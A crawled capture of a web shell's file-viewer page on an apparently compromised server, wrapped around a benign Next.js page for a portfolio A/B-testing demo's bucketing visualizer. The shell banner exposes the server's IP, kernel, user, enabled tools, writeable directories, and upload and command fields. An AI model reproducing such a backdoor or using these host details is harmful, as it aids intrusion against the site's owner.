403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/splitstream-web/.next/server/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/splitstream-web/.next/server/app/bucketing.html
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/chunks/002zte3riz0h6.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/2xx73w8k5o69w.js"/><script src="/_next/static/chunks/0_bmh1s0g_5m3.js" async=""></script><script src="/_next/static/chunks/390e59xl7grtx.js" async=""></script><script src="/_next/static/chunks/3ss6b_eo0gpqh.js" async=""></script><script src="/_next/static/chunks/turbopack-0frl60onblppy.js" async=""></script><script src="/_next/static/chunks/3u-4v10_yuvs8.js" async=""></script><script src="/_next/static/chunks/31jk64s9j6agx.js" async=""></script><script src="/_next/static/chunks/2oeaqqzj7q5hy.js" async=""></script><link rel="preload" href="https://www.googletagmanager.com/gtag/js?id=G-HZ8Z4XP611" as="script"/><title>Bucketing visualizer — Splitstream</title><meta name="description" content="Production-shaped A/B testing platform: sticky bucketing, mutex experiment groups, Sample Ratio Mismatch detection, guardrail metrics, an Octane carve-out for the hot path, and a Bayesian stats engine whose decision rule is empirically calibrated — not asserted."/><script src="/_next/static/chunks/0cz1d0mv5g_q7.js" noModule=""></script></head><body><div hidden=""><!--$--><!--/$--></div><header class="border-b border-(--color-paper-dim) bg-(--color-paper)"><div class="mx-auto flex max-w-6xl items-center justify-between px-6 py-5"><a class="text-lg font-bold tracking-tight text-(--color-ink) no-underline" href="/">Splitstream<span class="ml-2 rounded-full bg-(--color-accent-soft) px-2 py-0.5 text-xs font-medium text-(--color-accent) align-middle">portfolio demo</span></a><nav class="hidden md:flex items-center gap-5 text-sm text-(--color-ink-dim)"><a href="/docs">Docs</a><a href="/reference">API reference</a><a href="/sdks">SDKs</a><a href="/bucketing">Bucketing</a><a href="/stats-playground">Stats playground</a><a href="/with-pennant">With Pennant</a><a href="/about">About</a></nav><button type="button" aria-label="Open menu" aria-expanded="false" aria-controls="site-mobile-nav" class="md:hidden inline-flex items-center justify-center rounded-md border border-(--color-paper-dim) p-2 text-(--color-ink) cursor-pointer"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="18" x2="21" y2="18"></line></svg></button></div></header><main class="mx-auto max-w-6xl px-6 py-10"><div class="space-y-8"><section><h1 class="text-3xl font-bold tracking-tight">Bucketing visualizer</h1><p class="mt-3 max-w-3xl text-(--color-ink-dim) leading-relaxed">The same SHA-256-based bucketing function the Splitstream SDKs ship — runs entirely in your browser (no API roundtrip). Paste sample identifiers, edit the variant weights, watch the cumulative distribution converge. The corpus drift test in CI checks that this function returns the exact same numbers as the PHP and Python ports against the<!-- --> <a href="/docs/concepts/bucketing">shared corpus</a>.</p></section><div class="space-y-6"><div class="grid grid-cols-1 gap-4 md:grid-cols-2"><label class="block"><span class="text-sm font-medium">Experiment key</span><input type="text" class="mt-1 w-full rounded border border-(--color-paper-dim) bg-white px-3 py-2 font-(--font-mono) text-sm" value="checkout-v2"/></label><label class="block"><span class="text-sm font-medium">Seed</span><input type="text" class="mt-1 w-full rounded border border-(--color-paper-dim) bg-white px-3 py-2 font-(--font-mono) text-sm" value="corpus-seed-v1"/></label></div><div><div class="text-sm font-medium">Variants</div><div class="mt-1 space-y-2"><div class="flex items-center gap-3"><input type="text" class="flex-1 rounded border border-(--color-paper-dim) bg-white px-3 py-1.5 font-(--font-mono) text-sm" value="control"/><input type="number" min="0" max="100" class="w-24 rounded border border-(--color-paper-dim) bg-white px-3 py-1.5 font-(--font-mono) text-sm" value="50"/><span class="text-xs text-(--color-ink-dim)">50.0<!-- -->%</span><button class="rounded px-2 py-1 text-xs text-(--color-ink-dim) hover:bg-(--color-paper-dim)">Remove</button></div><div class="flex items-center gap-3"><input type="text" class="flex-1 rounded border border-(--color-paper-dim) bg-white px-3 py-1.5 font-(--font-mono) text-sm" value="treatment"/><input type="number" min="0" max="100" class="w-24 rounded border border-(--color-paper-dim) bg-white px-3 py-1.5 font-(--font-mono) text-sm" value="50"/><span class="text-xs text-(--color-ink-dim)">50.0<!-- -->%</span><button class="rounded px-2 py-1 text-xs text-(--color-ink-dim) hover:bg-(--color-paper-dim)">Remove</button></div><button class="rounded border border-(--color-paper-dim) px-3 py-1 text-xs">Add variant</button></div></div><label class="block"><span class="text-sm font-medium">Unit identifiers (one per line)</span><textarea rows="9" class="mt-1 w-full rounded border border-(--color-paper-dim) bg-white px-3 py-2 font-(--font-mono) text-sm">alice
bob
carol
01HXY0000000000000000USER1
01HXY0000000000000000USER2
01HXY0000000000000000USER3
新規ユーザー
café
admin@example.com</textarea></label><div><div class="flex items-baseline justify-between"><h2 class="text-lg font-bold">Bucketed: <!-- -->0<!-- --> units</h2><div class="text-xs text-(--color-ink-dim)">ready</div></div><div class="mt-4 grid grid-cols-2 gap-2 sm:grid-cols-4"></div><div class="mt-4 overflow-x-auto"><table class="w-full text-sm"><thead class="border-b border-(--color-paper-dim)"><tr class="text-left text-xs uppercase tracking-wide text-(--color-ink-dim)"><th class="py-2 pr-4">Unit</th><th class="py-2 pr-4">Normalisation</th><th class="py-2 pr-4 text-right">Bucket</th><th class="py-2 pr-4">Variant</th></tr></thead><tbody></tbody></table></div></div></div><section class="rounded-lg border border-(--color-paper-dim) p-6 bg-(--color-paper)"><h2 class="font-semibold">Notes</h2><ul class="mt-3 space-y-2 text-sm text-(--color-ink-dim) list-disc pl-6"><li><strong class="text-(--color-ink)">UTF-8 NFC normalization</strong> <!-- -->is applied to <code>experiment_key</code> and <code>unit_id</code> <!-- -->before hashing. The normalisation column shows when the input wasn&#x27;t already canonical (try pasting a decomposed<!-- --> <code>café</code> — looks identical, hashes differently without NFC).</li><li>Production assignment is<!-- --> <strong class="text-(--color-ink)">server-side</strong>. The SDK reads the variant from the <code>/v1/assign</code> response (which also writes the sticky <code>assignments</code> row) — it does not run this function. The local <code>bucket()</code> is for offline preview and the corpus drift test.</li><li>The distribution converges to the configured weights at ±1% at n=100,000 — covered by the bucketing-corpus property test in CI (see<!-- --> <a href="https://github.com/philiprehberger/splitstream/blob/main/tests/Unit/BucketingCorpusTest.php">tests/Unit/BucketingCorpusTest.php</a>).</li></ul></section></div><!--$--><!--/$--></main><footer class="border-t border-(--color-paper-dim) mt-20"><div class="mx-auto flex max-w-6xl items-center justify-between px-6 py-8 text-sm text-(--color-ink-dim)"><div>Splitstream is a portfolio demonstration by<!-- --> <a href="https://philiprehberger.com">Philip Rehberger</a>.</div><div class="flex flex-wrap gap-4"><a href="https://github.com/philiprehberger/splitstream">GitHub</a><a href="/pricing">Pricing</a><a href="/downloads">Downloads</a><a href="/status">Status</a><a href="/about">About this demo</a></div></div></footer><script src="/_next/static/chunks/2xx73w8k5o69w.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[79404,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n3:I[88287,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n4:I[74895,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n5:I[4561,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\",\"/_next/static/chunks/2oeaqqzj7q5hy.js\"],\"\"]\n6:I[70805,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n7:I[91838,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\",\"/_next/static/chunks/2oeaqqzj7q5hy.js\"],\"BucketingPlayground\"]\ne:I[52576,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\",1]\n:HL[\"/_next/static/chunks/002zte3riz0h6.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"c\":[\"\",\"bucketing\"],\"q\":\"\",\"i\":false,\"f\":[[[\"\",{\"children\":[\"bucketing\",{\"children\":[\"__PAGE__\",{}]}]},\"$undefined\",\"$undefined\",16],[[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/002zte3riz0h6.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/31jk64s9j6agx.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[[\"$\",\"$L2\",null,{}],[\"$\",\"main\",null,{\"className\":\"mx-auto max-w-6xl px-6 py-10\",\"children\":[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}],[\"$\",\"footer\",null,{\"className\":\"border-t border-(--color-paper-dim) mt-20\",\"children\":[\"$\",\"div\",null,{\"className\":\"mx-auto flex max-w-6xl items-center justify-between px-6 py-8 text-sm text-(--color-ink-dim)\",\"children\":[[\"$\",\"div\",null,{\"children\":[\"Splitstream is a portfolio demonstration by\",\" \",[\"$\",\"a\",null,{\"href\":\"https://philiprehberger.com\",\"children\":\"Philip Rehberger\"}],\".\"]}],[\"$\",\"div\",null,{\"className\":\"flex flex-wrap gap-4\",\"children\":[[\"$\",\"a\",null,{\"href\":\"https://github.com/philiprehberger/splitstream\",\"children\":\"GitHub\"}],[\"$\",\"$L5\",null,{\"href\":\"/pricing\",\"children\":\"Pricing\"}],[\"$\",\"$L5\",null,{\"href\":\"/downloads\",\"children\":\"Downloads\"}],[\"$\",\"$L5\",null,{\"href\":\"/status\",\"children\":\"Status\"}],[\"$\",\"$L5\",null,{\"href\":\"/about\",\"children\":\"About this demo\"}]]}]]}]}],[\"$\",\"$L6\",null,{}]]}]}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"div\",null,{\"className\":\"space-y-8\",\"children\":[[\"$\",\"section\",null,{\"children\":[[\"$\",\"h1\",null,{\"className\":\"text-3xl font-bold tracking-tight\",\"children\":\"Bucketing visualizer\"}],[\"$\",\"p\",null,{\"className\":\"mt-3 max-w-3xl text-(--color-ink-dim) leading-relaxed\",\"children\":[\"The same SHA-256-based bucketing function the Splitstream SDKs ship — runs entirely in your browser (no API roundtrip). Paste sample identifiers, edit the variant weights, watch the cumulative distribution converge. The corpus drift test in CI checks that this function returns the exact same numbers as the PHP and Python ports against the\",\" \",[\"$\",\"$L5\",null,{\"href\":\"/docs/concepts/bucketing\",\"children\":\"shared corpus\"}],\".\"]}]]}],[\"$\",\"$L7\",null,{}],[\"$\",\"section\",null,{\"className\":\"rounded-lg border border-(--color-paper-dim) p-6 bg-(--color-paper)\",\"children\":[[\"$\",\"h2\",null,{\"className\":\"font-semibold\",\"children\":\"Notes\"}],[\"$\",\"ul\",null,{\"className\":\"mt-3 space-y-2 text-sm text-(--color-ink-dim) list-disc pl-6\",\"children\":[[\"$\",\"li\",null,{\"children\":[[\"$\",\"strong\",null,{\"className\":\"text-(--color-ink)\",\"children\":\"UTF-8 NFC normalization\"}],\" \",\"is applied to \",[\"$\",\"code\",null,{\"children\":\"experiment_key\"}],\" and \",[\"$\",\"code\",null,{\"children\":\"unit_id\"}],\" \",\"before hashing. The normalisation column shows when the input wasn't already canonical (try pasting a decomposed\",\" \",[\"$\",\"code\",null,{\"children\":\"café\"}],\" — looks identical, hashes differently without NFC).\"]}],\"$L8\",\"$L9\"]}]]}]]}],[\"$La\"],\"$Lb\"]}],{},null,false,null]},null,false,\"$@c\"]},null,false,null],\"$Ld\",false]],\"m\":\"$undefined\",\"G\":[\"$e\",[\"$Lf\"]],\"S\":true,\"h\":null,\"s\":\"$undefined\",\"l\":\"$undefined\",\"p\":\"$undefined\",\"d\":\"$undefined\",\"b\":\"d4p1Nsp7dnkNrIm-L0oJl\"}\n"])</script><script>self.__next_f.push([1,"10:I[51858,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"OutletBoundary\"]\n11:\"$Sreact.suspense\"\n14:I[51858,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"ViewportBoundary\"]\n16:I[51858,[\"/_next/static/chunks/3u-4v10_yuvs8.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"MetadataBoundary\"]\n8:[\"$\",\"li\",null,{\"children\":[\"Production assignment is\",\" \",[\"$\",\"strong\",null,{\"className\":\"text-(--color-ink)\",\"children\":\"server-side\"}],\". The SDK reads the variant from the \",[\"$\",\"code\",null,{\"children\":\"/v1/assign\"}],\" response (which also writes the sticky \",[\"$\",\"code\",null,{\"children\":\"assignments\"}],\" row) — it does not run this function. The local \",[\"$\",\"code\",null,{\"children\":\"bucket()\"}],\" is for offline preview and the corpus drift test.\"]}]\n9:[\"$\",\"li\",null,{\"children\":[\"The distribution converges to the configured weights at ±1% at n=100,000 — covered by the bucketing-corpus property test in CI (see\",\" \",[\"$\",\"a\",null,{\"href\":\"https://github.com/philiprehberger/splitstream/blob/main/tests/Unit/BucketingCorpusTest.php\",\"children\":\"tests/Unit/BucketingCorpusTest.php\"}],\").\"]}]\na:[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/2oeaqqzj7q5hy.js\",\"async\":true,\"nonce\":\"$undefined\"}]\nb:[\"$\",\"$L10\",null,{\"children\":[\"$\",\"$11\",null,{\"name\":\"Next.MetadataOutlet\",\"children\":\"$@12\"}]}]\n13:[]\nc:\"$W13\"\nd:[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$L14\",null,{\"children\":\"$L15\"}],[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$L16\",null,{\"children\":[\"$\",\"$11\",null,{\"name\":\"Next.Metadata\",\"children\":\"$L17\"}]}]}],null]}]\nf:[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/002zte3riz0h6.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]\n"])</script><script>self.__next_f.push([1,"15:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n"])</script><script>self.__next_f.push([1,"12:null\n17:[[\"$\",\"title\",\"0\",{\"children\":\"Bucketing visualizer — Splitstream\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Production-shaped A/B testing platform: sticky bucketing, mutex experiment groups, Sample Ratio Mismatch detection, guardrail metrics, an Octane carve-out for the hot path, and a Bayesian stats engine whose decision rule is empirically calibrated — not asserted.\"}]]\n"])</script></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit